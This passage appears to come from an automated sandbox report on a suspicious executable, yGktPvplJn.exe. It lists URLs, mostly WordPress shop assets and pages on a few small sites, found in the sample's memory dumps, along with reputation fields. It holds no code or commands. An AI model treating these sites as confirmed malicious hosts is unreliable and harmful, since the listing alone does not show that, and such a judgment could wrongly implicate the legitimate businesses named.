00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.woff2	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/izdelek/ttx-200-termometer-s-tipalom-na-kablu-demo/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-includes/js/jquery/ui/mouse.min.js?ver=1.13.3	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/product-category/christmas/festive/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/#breadcrumb	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/sourcebuster/sourcebuster.min.js?ver	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=wc-9.2.3	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://tickets.suresupport.com/faq/article-1596/en	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2699317328.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/comments/feed/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/themes/oldhaven/style.css?ver=1.5	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
